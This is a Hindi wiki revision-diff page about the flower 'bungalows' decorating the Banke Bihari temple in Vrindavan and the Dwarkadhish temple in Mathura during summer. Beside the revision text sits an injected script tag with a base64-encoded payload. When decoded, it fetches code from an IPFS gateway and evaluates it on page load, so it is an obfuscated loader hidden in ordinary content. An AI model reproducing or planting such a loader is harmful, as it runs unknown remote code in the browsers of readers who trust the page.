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− | ग्रीष्म काल में प्राय: यथासम्भव प्रतिदिन मन्दिरों में फूलों के भव्य बंगले बनते हैं । [[वृन्दावन]] के [[बांके बिहारी मन्दिर|बिहारीजी]] तथा [[मथुरा]] के [[द्वारिकाधीश मन्दिर|द्वारकाधीश]] में " फूल बंगलों " की छटा दर्शनीय होती है । | + | ग्रीष्म काल में प्राय: यथासम्भव प्रतिदिन मन्दिरों में फूलों के भव्य बंगले बनते हैं । [[वृन्दावन]] के [[बांके बिहारी मन्दिर वृन्दावन|बिहारीजी]] तथा [[मथुरा]] के [[द्वारिकाधीश मन्दिर मथुरा|द्वारकाधीश]] में " फूल बंगलों " की छटा दर्शनीय होती है । |
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12:12, 19 जून 2011 के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ग्रीष्म काल में प्राय: यथासम्भव प्रतिदिन मन्दिरों में फूलों के भव्य बंगले बनते हैं । वृन्दावन के बिहारीजी तथा मथुरा के द्वारकाधीश में " फूल बंगलों " की छटा दर्शनीय होती है ।
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